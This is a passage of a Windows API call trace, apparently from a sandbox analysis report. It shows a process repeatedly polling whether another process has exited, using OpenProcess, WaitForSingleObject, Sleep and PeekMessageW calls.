hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.695] Sleep (dwMilliseconds=0x1) [0285.696] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.696] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.706] CloseHandle (hObject=0x1990) returned 1 [0285.706] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.706] Sleep (dwMilliseconds=0x1) [0285.707] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.708] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.718] CloseHandle (hObject=0x1990) returned 1 [0285.718] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.718] Sleep (dwMilliseconds=0x1) [0285.720] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.720] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.742] CloseHandle (hObject=0x1990) returned 1 [0285.742] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.742] Sleep (dwMilliseconds=0x1) [0285.757] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.757] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.784] CloseHandle (hObject=0x1990) returned 1 [0285.784] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.784] Sleep (dwMilliseconds=0x1) [0285.788] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.789] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.804] CloseHandle (hObject=0x1990) returned 1 [0285.804] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.804] Sleep (dwMilliseconds=0x1) [0285.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.820] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.839] CloseHandle (hObject=0x1990) returned 1 [0285.839] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.839] Sleep (dwMilliseconds=0x1) [0285.852] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.852] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.862] CloseHandle (hObject=0x1990) returned 1 [0285.862] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.862] Sleep (dwMilliseconds=0x1) [0285.863] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.863] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.888] CloseHandle (hObject=0x1990) returned 1 [0285.888] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.888] Sleep (dwMilliseconds=0x1) [0285.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.904] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.919] CloseHandle (hObject=0x1990) returned 1 [0285.919] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.919] Sleep (dwMilliseconds=0x1) [0285.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.935] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.950] CloseHandle (hObject=0x1990) returned 1 [0285.950] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.951] Sleep (dwMilliseconds=0x1) [0285.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.966] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.982] CloseHandle (hObject=0x1990) returned 1 [0285.982] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.982] Sleep (dwMilliseconds=0x1) [0286.003] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.003] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.013] CloseHandle (hObject=0x1990) returned 1 [0286.013] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.013] Sleep (dwMilliseconds=0x1) [0286.029] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.029] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.044] CloseHandle (hObject=0x1990) returned 1 [0286.044] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.044] Sleep (dwMilliseconds=0x1) [0286.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.060] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.075] CloseHandle (hObject=0x1990) returned 1 [0286.075] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.075] Sleep (dwMilliseconds=0x1) [0286.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.091] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.107] CloseHandle (hObject=0x1990) returned 1 [0286.107] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.107] Sleep (dwMilliseconds=0x1) [0286.122] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.122] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.138] CloseHandle (hObject=0x1990) returned 1 [0286.138] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.138] Sleep (dwMilliseconds=0x1) [0286.153] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.154] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.169] CloseHandle (hObject=0x1990) returned 1 [0286.169] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.169] Sleep (dwMilliseconds=0x1) [0286.185] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.185] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.201] CloseHandle (hObject=0x1990) returned 1 [0286.201] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.202] Sleep (dwMilliseconds=0x1) [0286.217] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.217] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.232] CloseHandle (hObject=0x1990) returned 1 [0286.232] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.232] Sleep (dwMilliseconds=0x1) [0286.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.247] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.263] CloseHandle (hObject=0x1990) returned 1 [0286.263] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.263] Sleep (dwMilliseconds=0x1) [0286.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.279] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.294] CloseHandle (hObject=0x1990) returned 1 [0286.294] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.294] Sleep (dwMilliseconds=0x1) [0286.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.310] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.325] CloseHandle (hObject=0x1990) returned 1 [0286.326] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.326] Sleep (dwMilliseconds=0x1) [0286.341] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.341] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.357] CloseHandle (hObject=0x1990) returned 1 [0286.357] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.357] Sleep (dwMilliseconds=0x1) [0286.372] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.372] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.388] CloseHandle (hObject=0x1990) returned 1 [0286.388] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.388] Sleep (dwMilliseconds=0x1) [0286.403] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.403] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.419] CloseHandle (hObject=0x1990) returned 1 [0286.419] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.419] Sleep (dwMilliseconds=0x1) [0286.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.435] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.450] CloseHandle (hObject=0x1990) returned 1 [0286.450] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.450] Sleep (dwMilliseconds=0x1) [0286.467] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.467] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.482] CloseHandle (hObject=0x1990) returned 1 [0286.482] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.482] Sleep (dwMilliseconds=0x1) [0286.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.497] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.513] CloseHandle (hObject=0x1990) returned 1 [0286.513] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.513] Sleep (dwMilliseconds=0x1) [0286.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.529] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.544] CloseHandle (hObject=0x1990) returned 1 [0286.544] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.544] Sleep (dwMilliseconds=0x1) [0286.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.561] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.575] CloseHandle (hObject=0x1990) returned 1 [0286.576] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.576] Sleep (dwMilliseconds=0x1) [0286.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.591] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.607] CloseHandle (hObject=0x1990) returned 1 [0286.607] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.607] Sleep (dwMilliseconds=0x1) [0286.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.622] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.638] CloseHandle (hObject=0x1990) returned 1 [0286.638] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.638] Sleep (dwMilliseconds=0x1) [0286.654] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.654] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.691] CloseHandle (hObject=0x1990) returned 1 [0286.691] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.691] Sleep (dwMilliseconds=0x1) [0286.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.700] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.716] CloseHandle (hObject=0x1990) returned 1 [0286.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.716] Sleep (dwMilliseconds=0x1) [0286.732] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.732] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.747] CloseHandle (hObject=0x1990) returned 1 [0286.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.747] Sleep (dwMilliseconds=0x1) [0286.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.773] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.781] CloseHandle (hObject=0x1990) returned 1 [0286.781] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.781] Sleep (dwMilliseconds=0x1) [0286.831] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.834] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.842] CloseHandle (hObject=0x1990) returned 1 [0286.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.842] Sleep (dwMilliseconds=0x1) [0286.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.857] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.872] CloseHandle (hObject=0x1990) returned 1 [0286.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.872] Sleep (dwMilliseconds=0x1) [0286.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.888] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.907] CloseHandle (hObject=0x1990) returned 1 [0286.908] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.908] Sleep (dwMilliseconds=0x1) [0286.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.919] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.935] CloseHandle (hObject=0x1990) returned 1 [0286.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.935] Sleep (dwMilliseconds=0x1) [0286.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.951] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0286.966] CloseHandle (hObject=0x1990) returned 1 [0286.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0286.966] Sleep (dwMilliseconds=0x1) [0286.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0286.982] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.016] CloseHandle (hObject=0x1990) returned 1 [0287.016] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.016] Sleep (dwMilliseconds=0x1) [0287.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.028] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.044] CloseHandle (hObject=0x1990) returned 1 [0287.044] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.044] Sleep (dwMilliseconds=0x1) [0287.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.060] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.075] CloseHandle (hObject=0x1990) returned 1 [0287.076] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.076] Sleep (dwMilliseconds=0x1) [0287.093] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.094] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.107] CloseHandle (hObject=0x1990) returned 1 [0287.107] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.107] Sleep (dwMilliseconds=0x1) [0287.123] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.123] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.138] CloseHandle (hObject=0x1990) returned 1 [0287.138] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.138] Sleep (dwMilliseconds=0x1) [0287.153] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.153] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.170] CloseHandle (hObject=0x1990) returned 1 [0287.170] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.172] Sleep (dwMilliseconds=0x1) [0287.185] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.185] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.200] CloseHandle (hObject=0x1990) returned 1 [0287.200] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.200] Sleep (dwMilliseconds=0x1) [0287.216] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.216] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.232] CloseHandle (hObject=0x1990) returned 1 [0287.232] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.232] Sleep (dwMilliseconds=0x1) [0287.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.247] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.264] CloseHandle (hObject=0x1990) returned 1 [0287.264] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.265] Sleep (dwMilliseconds=0x1) [0287.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.279] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.296] CloseHandle (hObject=0x1990) returned 1 [0287.296] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.296] Sleep (dwMilliseconds=0x1) [0287.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.310] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.325] CloseHandle (hObject=0x1990) returned 1 [0287.325] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.325] Sleep (dwMilliseconds=0x1) [0287.342] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.342] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.358] CloseHandle (hObject=0x1990) returned 1 [0287.360] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.360] Sleep (dwMilliseconds=0x1) [0287.381] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.381] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.400] CloseHandle (hObject=0x1990) returned 1 [0287.400] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.400] Sleep (dwMilliseconds=0x1) [0287.404] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.404] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.419] CloseHandle (hObject=0x1990) returned 1 [0287.419] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.419] Sleep (dwMilliseconds=0x1) [0287.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.435] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.450] CloseHandle (hObject=0x1990) returned 1 [0287.450] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.450] Sleep (dwMilliseconds=0x1) [0287.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.466] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.482] CloseHandle (hObject=0x1990) returned 1 [0287.482] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.482] Sleep (dwMilliseconds=0x1) [0287.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.497] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.513] CloseHandle (hObject=0x1990) returned 1 [0287.513] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.513] Sleep (dwMilliseconds=0x1) [0287.529] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 